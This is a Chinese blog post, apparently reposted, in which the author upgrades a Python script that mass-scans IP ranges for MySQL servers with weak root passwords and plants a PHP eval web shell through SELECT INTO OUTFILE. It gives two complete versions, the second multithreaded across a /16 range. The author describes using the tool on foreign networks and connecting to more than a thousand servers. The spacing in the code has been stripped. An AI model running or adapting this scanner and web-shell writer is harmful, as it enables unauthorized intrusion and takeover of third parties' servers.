副标题[/!--empirenews.page--]
01前言
一开始,我只是想把一个AWD下的批量写马工具升级改造一下,记录一下期间的心得体会,本以为现在mysql弱口令连接的漏洞很少。但当最后工具完成后,一测试扫描外国网段,半天时间竟然就成功连接了上千台数据库服务器。
02起因
这个脚本最开始的构思是在AWD比赛的情景下,因为所有服务器的环境都相同,只要查看本地的MySql用户名密码就知道了所有服务器的MySql用户名密码。若服务器开放了3306端口,那么利用这一个漏洞就能顺利获得所有服务器权限。有备无患,于是就写了这个Mysql批量连接写小马的脚本,以下是最原始的脚本(python2)。

原始脚本-1:
- #!/usr/bin/envpython
- #coding=utf-8
- #author:Blus
-
- importMySQLdb
- defmysql_connect1(ip,shell_url):
- #尝试数据库连接
- try:
- conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306)
- cur=conn.cursor()
-
- #若数据库连接成功,开始写马
- try:
- sql_insert="SELECT'<?php@eval($_POST[cmd]);?>'into outfile'{}';".format(shell_url)
- #printsql_insert;
-
- cur.execute(sql_insert)
- print"写入成功".decode()
- exceptException as e:
- print"写入错误"
- printe;
- return
- cur.close()
- conn.close()
-
- exceptMySQLdb.Error,e:
- print"Mysql_Error: %d: %s" % (e.args[0], e.args[1])
- return
-
- if__name__ == "__main__":
- fp_ip=open('ip.txt')
- shell_url= 'D:/1.PHP'
-
- forip in fp_ip.readlines():
- fp4=ip.replace('r',"").replace('n',"")
- #url=str(fp5)
- printfp4
- mysql_connect1(ip,shell_url)
-
- print'检测结束'
需要安装mysqldb,可自行参考网上教程。本人windwos环境直接在
https://www.codegood.com/archives/129下载MySQL-python-1.2.3.win-amd64-py2.7.exe安装。写马的过程用到outfile函数。这只是简单方法之一,之后会再探讨。
03计划
这个python脚本来是为AWD比赛准备的,但后来一直没用上,最后一直躺在“武器库”里生锈。想着既然有些过时了,就让它重新发亮。(为了方便互相学习,之后的代码中会加入大量的注释)
计划对其做以下改进:
1. 加快其速度,支持大批量扫描
2. 增加自动爆破密码的功能
3. 增加日志记录功能
4. 代码规范简洁
04引入多线程
升级第一步,那就是加快它的速度,单线程太慢了尝试多线程,同时将读取ip.txt文件改为读取IP网段,能适应大批量的网段扫描,使用到IPy库。本人windwos环境直接pipinstall IPy 安装IPy库无报错。
主要更改了这几处:


以下是这次修改后的完整的代码-2:
- #!/usr/bin/envpython
- #coding=utf-8
- #author:Blus
-
- importMySQLdb
- importthreading
- importtime
- importIPy
-
- defmysql_connect1(ip,shell_url,shell_content):
- #尝试数据库连接
- try:
- conn=MySQLdb.connect(host=ip,user='root',passwd='123456',db='',port=3306)
- cur=conn.cursor()
-
- #若数据库连接成功,开始写马
- try:
-
- sql_insert= "SELECT '{}'into outfile'{}';".format(shell_content,shell_url)
- printsql_insert;
-
- cur.execute(sql_insert)
- print"写入成功".decode()
-
- exceptException as e:
- print"写入错误"
- printe;
- return
- cur.close()
- conn.close()
-
-
- exceptMySQLdb.Error,e:
- print"Mysql_Error: %d: %s" % (e.args[0], e.args[1])
- return
-
- if__name__ == "__main__":
- #内容设置
- shell_url='../../../../wamp64/www/erg2313231.php';
- shell_content='<?php@eval($_POST[cmd]); ?>'
- #设置同时运行的线程数
- threads=25
- #要检测的IP网段
- ip1= IPy.IP('192.168.0.0/16')
-
-
- forip in ip1:
- ip=str(ip)
- while(threading.activeCount()>threads):
- time.sleep(1)
- threading.Thread(target=mysql_connect1,args=(ip, shell_url,shell_content)).start()
- print'检测结束'
05改善速度,增加ping函数
(编辑:PHP编程网 - 黄冈站长网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|